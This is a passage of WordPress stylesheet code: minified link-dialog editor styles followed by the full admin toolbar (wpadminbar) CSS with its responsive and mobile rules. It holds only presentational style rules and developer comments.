.link-search-field{width:250px;max-width:70%}#wp-link .link-search-wrapper{margin:5px 0 9px;display:block}#wp-link .query-results{position:absolute;width:calc(100% - 32px)}#wp-link .link-search-wrapper .spinner{float:none;margin:-3px 4px 0 0}#wp-link .link-target{padding:3px 0 0}#wp-link .link-target label{max-width:70%}#wp-link .query-results{border:1px #dcdcde solid;margin:0 0 12px;background:#fff;overflow:auto;max-height:290px}#wp-link li{clear:both;margin-bottom:0;border-bottom:1px solid #f0f0f1;color:#2c3338;padding:4px 10px 4px 6px;cursor:pointer;position:relative}#wp-link .query-notice{padding:0;border-bottom:1px solid #dcdcde;background-color:#fff;color:#000}#wp-link .query-notice .query-notice-default,#wp-link .query-notice .query-notice-hint{display:block;padding:6px;border-right:4px solid #72aee6}#wp-link .unselectable.no-matches-found{padding:0;border-bottom:1px solid #dcdcde;background-color:#f6f7f7}#wp-link .no-matches-found .item-title{display:block;padding:6px;border-right:4px solid #d63638}#wp-link .query-results em{font-style:normal}#wp-link li:hover{background:#f0f6fc;color:#101517}#wp-link li.unselectable{border-bottom:1px solid #dcdcde}#wp-link li.unselectable:hover{background:#fff;cursor:auto;color:#2c3338}#wp-link li.selected{background:#dcdcde;color:#2c3338}#wp-link li.selected .item-title{font-weight:600}#wp-link li:last-child{border:none}#wp-link .item-title{display:inline-block;width:80%;width:calc(100% - 68px);word-wrap:break-word}#wp-link .item-info{text-transform:uppercase;color:#646970;font-size:11px;position:absolute;left:5px;top:5px}#wp-link .river-waiting{display:none;padding:10px 0}#wp-link .submitbox{padding:8px 16px;background:#fff;border-top:1px solid #dcdcde;position:absolute;bottom:0;right:0;left:0}#wp-link-cancel{line-height:1.92307692;float:right}#wp-link-update{line-height:1.76923076;float:left}#wp-link-submit{float:left}@media screen and (max-width:782px){#link-selector{padding:0 16px 60px}#wp-link-wrap #link-selector{bottom:calc(2.71428571em + 23px)}#wp-link-cancel{line-height:2.46153846}#wp-link .link-target{padding-top:10px}#wp-link .submitbox .button{margin-bottom:0}}@media screen and (max-width:520px){#wp-link-wrap{width:auto;margin-right:0;right:10px;left:10px;max-width:500px}}@media screen and (max-height:620px){#wp-link-wrap{transition:none;height:auto;margin-top:0;top:10px;bottom:10px}#link-selector{overflow:auto}}@media screen and (max-height:290px){#wp-link-wrap{height:auto;margin-top:0;top:10px;bottom:10px}#link-selector{overflow:auto;height:calc(100% - 92px);padding-bottom:2px}}div.wp-link-preview{float:right;margin:5px;max-width:694px;overflow:hidden;text-overflow:ellipsis}div.wp-link-preview a{color:#2271b1;text-decoration:underline;transition-property:border,background,color;transition-duration:.05s;transition-timing-function:ease-in-out;cursor:pointer}div.wp-link-preview a.wplink-url-error{color:#d63638}div.wp-link-input{float:right;margin:2px;max-width:694px}div.wp-link-input input{width:300px;padding:3px;box-sizing:border-box;line-height:1.28571429;min-height:26px}.mce-toolbar div.wp-link-input~.mce-btn,.mce-toolbar div.wp-link-preview~.mce-btn{margin:2px 1px}.mce-inline-toolbar-grp .mce-btn-group .mce-btn:last-child{margin-left:2px}.ui-autocomplete.wplink-autocomplete{z-index:100110;max-height:200px;overflow-y:auto;padding:0;margin:0;list-style:none;position:absolute;border:1px solid #4f94d4;box-shadow:0 1px 2px rgba(79,148,212,.8);background-color:#fff}.ui-autocomplete.wplink-autocomplete li{margin-bottom:0;padding:4px 10px;clear:both;white-space:normal;text-align:right}.ui-autocomplete.wplink-autocomplete li .wp-editor-float-right{float:left}.ui-autocomplete.wplink-autocomplete li.ui-state-focus{background-color:#dcdcde;cursor:pointer}@media screen and (max-width:782px){div.wp-link-input,div.wp-link-preview{max-width:70%;max-width:calc(100% - 86px)}div.wp-link-preview{margin:8px 5px 8px 0}div.wp-link-input{width:300px}div.wp-link-input input{width:100%;font-size:16px;padding:5px}}.mce-fullscreen{z-index:100010}.rtl .quicktags-toolbar input,.rtl .wp-switch-editor{font-family:Tahoma,sans-serif}.mce-rtl .mce-flow-layout .mce-flow-layout-item>div{direction:rtl}.mce-rtl .mce-listbox i.mce-caret{left:6px}html:lang(he-il) .rtl .quicktags-toolbar input,html:lang(he-il) .rtl .wp-switch-editor{font-family:Arial,sans-serif}@media print,(min-resolution:120dpi){.wp-media-buttons .add_media span.wp-media-buttons-icon{background:0 0}}html {
	--wp-admin--admin-bar--height: 32px;
	scroll-padding-top: var(--wp-admin--admin-bar--height);
}

#wpadminbar * {
	height: auto;
	width: auto;
	margin: 0;
	padding: 0;
	position: static;
	text-shadow: none;
	text-transform: none;
	letter-spacing: normal;
	font-size: 13px;
	font-weight: 400;
	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
	font-style: normal;
	line-height: 2.46153846;
	border-radius: 0;
	box-sizing: content-box;
	transition: none;
	-webkit-font-smoothing: subpixel-antialiased; /* Prevent Safari from switching to standard antialiasing on hover */
	-moz-osx-font-smoothing: auto; /* Prevent Firefox from inheriting from themes that use other values */
}

.rtl #wpadminbar * {
	font-family: Tahoma, sans-serif;
}

html:lang(he-il) .rtl #wpadminbar * {
	font-family: Arial, sans-serif;
}

#wpadminbar .ab-empty-item {
	cursor: default;
}

#wpadminbar .ab-empty-item,
#wpadminbar a.ab-item,
#wpadminbar > #wp-toolbar span.ab-label,
#wpadminbar > #wp-toolbar span.noticon {
	color: #f0f0f1;
}

#wpadminbar #wp-admin-bar-site-name a.ab-item,
#wpadminbar #wp-admin-bar-my-sites a.ab-item {
	white-space: nowrap;
}

#wpadminbar ul li:before,
#wpadminbar ul li:after {
	content: normal;
}

#wpadminbar a,
#wpadminbar a:hover,
#wpadminbar a img,
#wpadminbar a img:hover {
	border: none;
	text-decoration: none;
	background: none;
	box-shadow: none;
}

#wpadminbar a:focus,
#wpadminbar a:active,
#wpadminbar input[type="text"],
#wpadminbar input[type="password"],
#wpadminbar input[type="number"],
#wpadminbar input[type="search"],
#wpadminbar input[type="email"],
#wpadminbar input[type="url"],
#wpadminbar select,
#wpadminbar textarea,
#wpadminbar div {
	box-shadow: none;
}

#wpadminbar a:focus {
	/* Inherits transparent outline only visible in Windows High Contrast mode */
	outline-offset: -1px;
}

#wpadminbar {
	direction: ltr;
	color: #c3c4c7;
	font-size: 13px;
	font-weight: 400;
	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
	line-height: 2.46153846;
	height: 32px;
	position: fixed;
	top: 0;
	left: 0;
	width: 100%;
	min-width: 600px; /* match the min-width of the body in wp-admin/css/common.css */
	z-index: 99999;
	background: #1d2327;
}

#wpadminbar .ab-sub-wrapper,
#wpadminbar ul,
#wpadminbar ul li {
	background: none;
	clear: none;
	list-style: none;
	margin: 0;
	padding: 0;
	position: relative;
	text-indent: 0;
	z-index: 99999;
}

#wpadminbar ul#wp-admin-bar-root-default>li {
	margin-right: 0;
}

#wpadminbar .quicklinks ul {
	text-align: left;
}

#wpadminbar li {
	float: left;
}

#wpadminbar .ab-empty-item {
	outline: none;
}

#wpadminbar .quicklinks .ab-top-secondary > li {
	float: right;
}

#wpadminbar .quicklinks a,
#wpadminbar .quicklinks .ab-empty-item,
#wpadminbar .shortlink-input {
	height: 32px;
	display: block;
	padding: 0 10px;
	margin: 0;
}

#wpadminbar .quicklinks > ul > li > a {
	padding: 0 8px 0 7px;
}

#wpadminbar .menupop .ab-sub-wrapper,
#wpadminbar .shortlink-input {
	margin: 0;
	padding: 0;
	box-shadow: 0 3px 5px rgba(0, 0, 0, 0.2);
	background: #2c3338;
	display: none;
	position: absolute;
	float: none;
}

#wpadminbar .ab-top-menu > .menupop > .ab-sub-wrapper {
	min-width: 100%;
}

#wpadminbar .ab-top-secondary .menupop .ab-sub-wrapper {
	right: 0;
	left: auto;
}

#wpadminbar .ab-submenu {
	padding: 6px 0;
}

#wpadminbar .selected .shortlink-input {
	display: block;
}

#wpadminbar .quicklinks .menupop ul li {
	float: none;
}

#wpadminbar .quicklinks .menupop ul li a strong {
	font-weight: 600;
}

#wpadminbar .quicklinks .menupop ul li .ab-item,
#wpadminbar .quicklinks .menupop ul li a strong,
#wpadminbar .quicklinks .menupop.hover ul li .ab-item,
#wpadminbar.nojs .quicklinks .menupop:hover ul li .ab-item,
#wpadminbar .shortlink-input {
	line-height: 2;
	height: 26px;
	white-space: nowrap;
	min-width: 140px;
}

#wpadminbar .shortlink-input {
	width: 200px;
}

#wpadminbar.nojs li:hover > .ab-sub-wrapper,
#wpadminbar li.hover > .ab-sub-wrapper {
	display: block;
}

#wpadminbar .menupop li:hover > .ab-sub-wrapper,
#wpadminbar .menupop li.hover > .ab-sub-wrapper {
	margin-left: 100%;
	margin-top: -32px;
}

#wpadminbar .ab-top-secondary .menupop li:hover > .ab-sub-wrapper,
#wpadminbar .ab-top-secondary .menupop li.hover > .ab-sub-wrapper {
	margin-left: 0;
	left: inherit;
	right: 100%;
}

#wpadminbar:not(.mobile) .ab-top-menu > li > .ab-item:focus,
#wpadminbar.nojq .quicklinks .ab-top-menu > li > .ab-item:focus,
#wpadminbar:not(.mobile) .ab-top-menu > li:hover > .ab-item,
#wpadminbar .ab-top-menu > li.hover > .ab-item {
	background: #2c3338;
	color: #72aee6;
}

#wpadminbar:not(.mobile) > #wp-toolbar li:hover span.ab-label,
#wpadminbar > #wp-toolbar li.hover span.ab-label,
#wpadminbar:not(.mobile) > #wp-toolbar a:focus span.ab-label {
	color: #72aee6;
}

#wpadminbar > #wp-toolbar > #wp-admin-bar-root-default .ab-icon,
#wpadminbar .ab-icon,
#wpadminbar .ab-item:before,
.wp-admin-bar-arrow {
	position: relative;
	float: left;
	font: normal 20px/1 dashicons;
	speak: never;
	padding: 4px 0;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	background-image: none !important;
	margin-right: 6px;
}

#wpadminbar .ab-icon:before,
#wpadminbar .ab-item:before,
#wpadminbar #adminbarsearch:before {
	color: #a7aaad;
	color: rgba(240, 246, 252, 0.6);
}

#wpadminbar .ab-icon:before,
#wpadminbar .ab-item:before,
#wpadminbar #adminbarsearch:before {
	position: relative;
	transition: color .1s ease-in-out;
}

#wpadminbar .ab-label {
	display: inline-block;
	height: 32px;
}

#wpadminbar .ab-submenu .ab-item {
	color: #c3c4c7;
	color: rgba(240, 246, 252, 0.7);
}

#wpadminbar .quicklinks .menupop ul li a,
#wpadminbar .quicklinks .menupop ul li a strong,
#wpadminbar .quicklinks .menupop.hover ul li a,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a {
	color: #c3c4c7;
	color: rgba(240, 246, 252, 0.7);
}

#wpadminbar .quicklinks .menupop ul li a:hover,
#wpadminbar .quicklinks .menupop ul li a:focus,
#wpadminbar .quicklinks .menupop ul li a:hover strong,
#wpadminbar .quicklinks .menupop ul li a:focus strong,
#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a,
#wpadminbar .quicklinks .menupop.hover ul li a:hover,
#wpadminbar .quicklinks .menupop.hover ul li a:focus,
#wpadminbar .quicklinks .menupop.hover ul li div[tabindex]:hover,
#wpadminbar .quicklinks .menupop.hover ul li div[tabindex]:focus,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,
#wpadminbar li:hover .ab-icon:before,
#wpadminbar li:hover .ab-item:before,
#wpadminbar li a:focus .ab-icon:before,
#wpadminbar li .ab-item:focus:before,
#wpadminbar li .ab-item:focus .ab-icon:before,
#wpadminbar li.hover .ab-icon:before,
#wpadminbar li.hover .ab-item:before,
#wpadminbar li:hover #adminbarsearch:before,
#wpadminbar li #adminbarsearch.adminbar-focused:before {
	color: #72aee6;
}

#wpadminbar.mobile .quicklinks .ab-icon:before,
#wpadminbar.mobile .quicklinks .ab-item:before {
	color: #c3c4c7;
}

#wpadminbar.mobile .quicklinks .hover .ab-icon:before,
#wpadminbar.mobile .quicklinks .hover .ab-item:before {
	color: #72aee6;
}

#wpadminbar .menupop .menupop > .ab-item .wp-admin-bar-arrow:before,
#wpadminbar .ab-top-secondary .menupop .menupop > .ab-item:before {
	position: absolute;
	font: normal 17px/1 dashicons;
	speak: never;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

#wpadminbar .menupop .menupop > .ab-item {
	display: block;
	padding-right: 2em;
}

#wpadminbar .menupop .menupop > .ab-item .wp-admin-bar-arrow:before {
	top: 1px;
	right: 10px;
	padding: 4px 0;
	content: "\f139";
	color: inherit;
}

#wpadminbar .ab-top-secondary .menupop .menupop > .ab-item {
	padding-left: 2em;
	padding-right: 1em;
}

#wpadminbar .ab-top-secondary .menupop .menupop > .ab-item .wp-admin-bar-arrow:before {
	top: 1px;
	left: 6px;
	content: "\f141";
}

#wpadminbar .quicklinks .menupop ul.ab-sub-secondary {
	display: block;
	position: relative;
	right: auto;
	margin: 0;
	box-shadow: none;
}

#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,
#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu {
	background: #3c434a;
}

#wpadminbar .quicklinks .menupop .ab-sub-secondary > li > a:hover,
#wpadminbar .quicklinks .menupop .ab-sub-secondary > li .ab-item:focus a {
	color: #72aee6;
}

#wpadminbar .quicklinks a span#ab-updates {
	background: #f0f0f1;
	color: #2c3338;
	display: inline;
	padding: 2px 5px;
	font-size: 10px;
	font-weight: 600;
	border-radius: 10px;
}

#wpadminbar .quicklinks a:hover span#ab-updates {
	background: #fff;
	color: #000;
}

#wpadminbar .ab-top-secondary {
	float: right;
}

#wpadminbar ul li:last-child,
#wpadminbar ul li:last-child .ab-item {
	box-shadow: none;
}

/**
 * Recovery Mode
 */
#wpadminbar #wp-admin-bar-recovery-mode {
	color: #fff;
	background-color: #d63638;
}

#wpadminbar .ab-top-menu > #wp-admin-bar-recovery-mode.hover >.ab-item,
#wpadminbar.nojq .quicklinks .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus,
#wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode:hover > .ab-item,
#wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus {
	color: #fff;
	background-color: #d63638;
}

/**
 * My Account
 */
#wp-admin-bar-my-account > ul {
	min-width: 198px;
}

#wp-admin-bar-my-account:not(.with-avatar) > .ab-item {
	display: inline-block;
}

#wp-admin-bar-my-account > .ab-item:before {
	content: "\f110";
	top: 2px;
	float: right;
	margin-left: 6px;
	margin-right: 0;
}

#wp-admin-bar-my-account.with-avatar > .ab-item:before {
	display: none;
	content: none;
}

#wp-admin-bar-my-account.with-avatar > ul {
	min-width: 270px;
}

#wpadminbar #wp-admin-bar-user-actions > li {
	margin-left: 16px;
	margin-right: 16px;
}

#wpadminbar #wp-admin-bar-user-actions.ab-submenu {
	padding: 6px 0 12px;
}

#wpadminbar #wp-admin-bar-my-account.with-avatar #wp-admin-bar-user-actions > li {
	margin-left: 88px;
}

#wpadminbar #wp-admin-bar-user-info {
	margin-top: 6px;
	margin-bottom: 15px;
	height: auto;
	background: none;
}

#wp-admin-bar-user-info .avatar {
	position: absolute;
	left: -72px;
	top: 4px;
	width: 64px;
	height: 64px;
}

#wpadminbar #wp-admin-bar-user-info a {
	background: none;
	height: auto;
}

#wpadminbar #wp-admin-bar-user-info span {
	background: none;
	padding: 0;
	height: 18px;
}

#wpadminbar #wp-admin-bar-user-info .display-name,
#wpadminbar #wp-admin-bar-user-info .username {
	display: block;
}

#wpadminbar #wp-admin-bar-user-info .username {
	color: #a7aaad;
	font-size: 11px;
}

#wpadminbar #wp-admin-bar-my-account.with-avatar > .ab-empty-item img,
#wpadminbar #wp-admin-bar-my-account.with-avatar > a img {
	width: auto;
	height: 16px;
	padding: 0;
	border: 1px solid #8c8f94;
	background: #f0f0f1;
	line-height: 1.84615384;
	vertical-align: middle;
	margin: -4px 0 0 6px;
	float: none;
	display: inline;
}

/**
 * WP Logo
 */
#wpadminbar #wp-admin-bar-wp-logo > .ab-item .ab-icon {
	width: 15px;
	height: 20px;
	margin-right: 0;
	padding: 6px 0 5px;
}

#wpadminbar #wp-admin-bar-wp-logo > .ab-item {
	padding: 0 7px;
}

#wpadminbar #wp-admin-bar-wp-logo > .ab-item .ab-icon:before {
	content: "\f120";
	top: 2px;
}

/*
 * My Sites & Site Title
 */
#wpadminbar .quicklinks li .blavatar {
	display: inline-block;
	vertical-align: middle;
	font: normal 16px/1 dashicons !important;
	speak: never;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	color: #f0f0f1;
}

#wpadminbar .quicklinks li a:hover .blavatar,
#wpadminbar .quicklinks li a:focus .blavatar,
#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a .blavatar {
	color: #72aee6;
}

#wpadminbar .quicklinks li img.blavatar,
#wpadminbar .quicklinks li div.blavatar:before {
	height: 16px;
	width: 16px;
	margin: 0 8px 2px -2px;
}

#wpadminbar .quicklinks li div.blavatar:before {
	content: "\f120";
	display: inline-block;
}

#wpadminbar #wp-admin-bar-appearance {
	margin-top: -12px;
}

#wpadminbar #wp-admin-bar-my-sites > .ab-item:before,
#wpadminbar #wp-admin-bar-site-name > .ab-item:before {
	content: "\f541";
	top: 2px;
}

#wpadminbar #wp-admin-bar-site-editor > .ab-item:before {
	content: "\f100";
	top: 2px;
}

#wpadminbar #wp-admin-bar-customize > .ab-item:before {
	content: "\f540";
	top: 2px;
}

#wpadminbar #wp-admin-bar-edit > .ab-item:before {
	content: "\f464";
	top: 2px;
}

#wpadminbar #wp-admin-bar-site-name > .ab-item:before {
	content: "\f226";
}

.wp-admin #wpadminbar #wp-admin-bar-site-name > .ab-item:before {
	content: "\f102";
}



/**
 * Comments
 */
#wpadminbar #wp-admin-bar-comments .ab-icon {
	margin-right: 6px;
}

#wpadminbar #wp-admin-bar-comments .ab-icon:before {
	content: "\f101";
	top: 3px;
}

#wpadminbar #wp-admin-bar-comments .count-0 {
	opacity: .5;
}

/**
 * New Content
 */
#wpadminbar #wp-admin-bar-new-content .ab-icon:before {
	content: "\f132";
	top: 4px;
}

/**
 * Updates
 */
#wpadminbar #wp-admin-bar-updates .ab-icon:before {
	content: "\f463";
	top: 2px;
}

#wpadminbar #wp-admin-bar-updates.spin .ab-icon:before {
	display: inline-block;
	animation: rotation 2s infinite linear;
}

@media (prefers-reduced-motion: reduce) {
	#wpadminbar #wp-admin-bar-updates.spin .ab-icon:before {
		animation: none;
	}
}

/**
 * Search
 */

#wpadminbar #wp-admin-bar-search .ab-item {
	padding: 0;
	background: transparent;
}

#wpadminbar #adminbarsearch {
	position: relative;
	height: 32px;
	padding: 0 2px;
	z-index: 1;
}

#wpadminbar #adminbarsearch:before {
	position: absolute;
	top: 6px;
	left: 5px;
	z-index: 20;
	font: normal 20px/1 dashicons !important;
	content: "\f179";
	speak: never;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

/* The admin bar search field needs to reset many styles that might be inherited from the active Theme CSS. See ticket #40313. */
#wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input {
	display: inline-block;
	float: none;
	position: relative;
	z-index: 30;
	font-size: 13px;
	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
	line-height: 1.84615384;
	text-indent: 0;
	height: 24px;
	width: 24px;
	max-width: none;
	padding: 0 3px 0 24px;
	margin: 0;
	color: #c3c4c7;
	background-color: rgba(255, 255, 255, 0);
	border: none;
	outline: none;
	cursor: pointer;
	box-shadow: none;
	box-sizing: border-box;
	transition-duration: 400ms;
	transition-property: width, background;
	transition-timing-function: ease;
}

#wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input:focus {
	z-index: 10;
	color: #000;
	width: 200px;
	background-color: rgba(255, 255, 255, 0.9);
	cursor: text;
	border: 0;
}

#wpadminbar #adminbarsearch .adminbar-button {
	display: none;
}

/**
 * Customize support classes
 */
.no-customize-support .hide-if-no-customize,
.customize-support .hide-if-customize,
.no-customize-support #wpadminbar .hide-if-no-customize,
.no-customize-support.wp-core-ui .hide-if-no-customize,
.no-customize-support .wp-core-ui .hide-if-no-customize,
.customize-support #wpadminbar .hide-if-customize,
.customize-support.wp-core-ui .hide-if-customize,
.customize-support .wp-core-ui .hide-if-customize {
	display: none;
}

/* Skip link */
#wpadminbar .screen-reader-text,
#wpadminbar .screen-reader-text span {
	border: 0;
	clip: rect(1px, 1px, 1px, 1px);
	-webkit-clip-path: inset(50%);
	clip-path: inset(50%);
	height: 1px;
	margin: -1px;
	overflow: hidden;
	padding: 0;
	position: absolute;
	width: 1px;
	word-wrap: normal !important;
}

#wpadminbar .screen-reader-shortcut {
	position: absolute;
	top: -1000em;
	left: 6px;
	height: auto;
	width: auto;
	display: block;
	font-size: 14px;
	font-weight: 600;
	padding: 15px 23px 14px;
	background: #f0f0f1;
	color: #2271b1;
	z-index: 100000;
	line-height: normal;
	text-decoration: none;
}

#wpadminbar .screen-reader-shortcut:focus {
	top: 7px;
	background: #f0f0f1;
	box-shadow: 0 0 2px 2px rgba(0, 0, 0, 0.6);
}

@media screen and (max-width: 782px) {
	html {
		--wp-admin--admin-bar--height: 46px;
	}

	/* Toolbar Touchification*/
	html #wpadminbar {
		height: 46px;
		min-width: 240px; /* match the min-width of the body in wp-admin/css/common.css */
	}

	#wpadminbar * {
		font-size: 14px;
		font-weight: 400;
		font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
		line-height: 2.28571428;
	}

	#wpadminbar .quicklinks > ul > li > a,
	#wpadminbar .quicklinks .ab-empty-item {
		padding: 0;
		height: 46px;
		line-height: 3.28571428;
		width: auto;
	}

	#wpadminbar .ab-icon {
		font: 40px/1 dashicons !important;
		margin: 0;
		padding: 0;
		width: 52px;
		height: 46px;
		text-align: center;
	}

	#wpadminbar .ab-icon:before {
		text-align: center;
	}

	#wpadminbar .ab-submenu {
		padding: 0;
	}

	#wpadminbar #wp-admin-bar-site-name a.ab-item,
	#wpadminbar #wp-admin-bar-my-sites a.ab-item,
	#wpadminbar #wp-admin-bar-my-account a.ab-item {
		text-overflow: clip;
	}

	#wpadminbar .quicklinks .menupop ul li .ab-item,
	#wpadminbar .quicklinks .menupop ul li a strong,
	#wpadminbar .quicklinks .menupop.hover ul li .ab-item,
	#wpadminbar.nojs .quicklinks .menupop:hover ul li .ab-item,
	#wpadminbar .shortlink-input {
	    line-height: 1.6;
	}

	#wpadminbar .ab-label {
		border: 0;
		clip: rect(1px, 1px, 1px, 1px);
		-webkit-clip-path: inset(50%);
		clip-path: inset(50%);
		height: 1px;
		margin: -1px;
		overflow: hidden;
		padding: 0;
		position: absolute;
		width: 1px;
		word-wrap: normal !important;
	}

	#wpadminbar .menupop li:hover > .ab-sub-wrapper,
	#wpadminbar .menupop li.hover > .ab-sub-wrapper {
		margin-top: -46px;
	}

	#wpadminbar .ab-top-menu .menupop .ab-sub-wrapper .menupop > .ab-item {
		padding-right: 30px;
	}

	#wpadminbar .menupop .menupop > .ab-item:before {
		top: 10px;
		right: 6px;
	}

	#wpadminbar .ab-top-menu > .menupop > .ab-sub-wrapper .ab-item {
		font-size: 16px;
		padding: 8px 16px;
	}

	#wpadminbar .ab-top-menu > .menupop > .ab-sub-wrapper a:empty {
		display: none;
	}

	/* WP logo */
	#wpadminbar #wp-admin-bar-wp-logo > .ab-item {
		padding: 0;
	}

	#wpadminbar #wp-admin-bar-wp-logo > .ab-item .ab-icon {
		padding: 0;
		width: 52px;
		height: 46px;
		text-align: center;
		vertical-align: top;
	}

	#wpadminbar #wp-admin-bar-wp-logo > .ab-item .ab-icon:before {
		font: 28px/1 dashicons !important;
		top: -3px;
	}

	#wpadminbar .ab-icon,
	#wpadminbar .ab-item:before {
		padding: 0;
	}

	/* My Sites and "Site Title" menu */
	#wpadminbar #wp-admin-bar-my-sites > .ab-item,
	#wpadminbar #wp-admin-bar-site-name > .ab-item,
	#wpadminbar #wp-admin-bar-site-editor > .ab-item,
	#wpadminbar #wp-admin-bar-customize > .ab-item,
	#wpadminbar #wp-admin-bar-edit > .ab-item,
	#wpadminbar #wp-admin-bar-my-account > .ab-item {
		text-indent: 100%;
		white-space: nowrap;
		overflow: hidden;
		width: 52px;
		padding: 0;
		color: #a7aaad; /* @todo not needed? this text is hidden */
		position: relative;
	}

	#wpadminbar > #wp-toolbar > #wp-admin-bar-root-default .ab-icon,
	#wpadminbar .ab-icon,
	#wpadminbar .ab-item:before {
		padding: 0;
		margin-right: 0;
	}

	#wpadminbar #wp-admin-bar-edit > .ab-item:before,
	#wpadminbar #wp-admin-bar-my-sites > .ab-item:before,
	#wpadminbar #wp-admin-bar-site-name > .ab-item:before,
	#wpadminbar #wp-admin-bar-site-editor > .ab-item:before,
	#wpadminbar #wp-admin-bar-customize > .ab-item:before,
	#wpadminbar #wp-admin-bar-my-account > .ab-item:before {
		display: block;
		text-indent: 0;
		font: normal 32px/1 dashicons;
		speak: never;
		top: 7px;
		width: 52px;
		text-align: center;
		-webkit-font-smoothing: antialiased;
		-moz-osx-font-smoothing: grayscale;
	}

	#wpadminbar #wp-admin-bar-appearance {
		margin-top: 0;
	}

	#wpadminbar .quicklinks li .blavatar:before {
		display: none;
	}

	/* Search */
	#wpadminbar #wp-admin-bar-search {
		display: none;
	}

	/* New Content */
	#wpadminbar #wp-admin-bar-new-content .ab-icon:before {
		top: 0;
		line-height: 1.33333333;
		height: 46px !important;
		text-align: center;
		width: 52px;
		display: block;
	}

	/* Updates */
	#wpadminbar #wp-admin-bar-updates {
		text-align: center;
	}

	#wpadminbar #wp-admin-bar-updates .ab-icon:before {
		top: 3px;
	}

	/* Comments */
	#wpadminbar #wp-admin-bar-comments .ab-icon {
		margin: 0;
	}

	#wpadminbar #wp-admin-bar-comments .ab-icon:before {
		display: block;
		font-size: 34px;
		height: 46px;
		line-height: 1.38235294;
		top: 0;
	}

	/* My Account */
	#wpadminbar #wp-admin-bar-my-account > a {
		position: relative;
		white-space: nowrap;
		text-indent: 150%; /* More than 100% indention is needed since this element has padding */
		width: 28px;
		padding: 0 10px;
		overflow: hidden; /* Prevent link text from forcing horizontal scrolling on mobile */
	}

	#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar > a img {
		position: absolute;
		top: 13px;
		right: 10px;
		width: 26px;
		height: 26px;
	}

	#wpadminbar #wp-admin-bar-user-actions.ab-submenu {
		padding: 0;
	}

	#wpadminbar #wp-admin-bar-user-actions.ab-submenu img.avatar {
		display: none;
	}

	#wpadminbar #wp-admin-bar-my-account.with-avatar #wp-admin-bar-user-actions > li {
		margin: 0;
	}

	#wpadminbar #wp-admin-bar-user-info .display-name {
		height: auto;
		font-size: 16px;
		line-height: 1.5;
		color: #f0f0f1;
	}

	#wpadminbar #wp-admin-bar-user-info a {
		padding-top: 4px;
	}

	#wpadminbar #wp-admin-bar-user-info .username {
		line-height: 0.8 !important;
		margin-bottom: -2px;
	}

	/* Show only default top level items */
	#wp-toolbar > ul > li {
		display: none;
	}

	#wpadminbar li#wp-admin-bar-menu-toggle,
	#wpadminbar li#wp-admin-bar-wp-logo,
	#wpadminbar li#wp-admin-bar-my-sites,
	#wpadminbar li#wp-admin-bar-updates,
	#wpadminbar li#wp-admin-bar-site-name,
	#wpadminbar li#wp-admin-bar-site-editor,
	#wpadminbar li#wp-admin-bar-customize,
	#wpadminbar li#wp-admin-bar-new-content,
	#wpadminbar li#wp-admin-bar-edit,
	#wpadminbar li#wp-admin-bar-comments,
	#wpadminbar li#wp-admin-bar-my-account {
		display: block;
	}

	/* Allow dropdown list items to appear normally */
	#wpadminbar li:hover ul li,
	#wpadminbar li.hover ul li,
	#wpadminbar li:hover ul li:hover ul li {
		display: list-item;
	}

	/* Override default min-width so dropdown lists aren't stretched
		to 100% viewport width at responsive sizes. */
	#wpadminbar .ab-top-menu > .menupop > .ab-sub-wrapper {
		min-width: -moz-fit-content;
		min-width: fit-content;
	}

	#wpadminbar ul#wp-admin-bar-root-default > li {
		margin-right: 0;
	}

	/* Experimental fix for touch toolbar dropdown positioning */
	#wpadminbar .ab-top-menu,
	#wpadminbar .ab-top-secondary,
	#wpadminbar #wp-admin-bar-wp-logo,
	#wpadminbar #wp-admin-bar-my-sites,
	#wpadminbar #wp-admin-bar-site-name,
	#wpadminbar #wp-admin-bar-updates,
	#wpadminbar #wp-admin-bar-comments,
	#wpadminbar #wp-admin-bar-new-content,
	#wpadminbar #wp-admin-bar-edit,
	#wpadminbar #wp-admin-bar-my-account {
		position: static;
	}

	#wpadminbar #wp-admin-bar-my-account {
		float: right;
	}

	.network-admin #wpadminbar ul#wp-admin-bar-top-secondary > li#wp-admin-bar-my-account {
		margin-right: 0;
	}

	/* Realign arrows on taller responsive submenus */

	#wpadminbar .ab-top-secondary .menupop .menupop > .ab-item:before {
		top: 10px;
		left: 0;
	}
}

/* Smartphone */
@media screen and (max-width: 600px) {
	#wpadminbar {
		position: absolute;
	}

	#wp-responsive-overlay {
		position: fixed;
		top: 0;
		left: 0;
		width: 100%;
		height: 100%;
		z-index: 400;
	}

	#wpadminbar .ab-top-menu > .menupop > .ab-sub-wrapper {
		width: 100%;
		left: 0;
	}

	#wpadminbar .menupop .menupop > .ab-item:before {
		display: none;
	}

	#wpadminbar #wp-admin-bar-wp-logo.menupop .ab-sub-wrapper {
		margin-left: 0;
	}

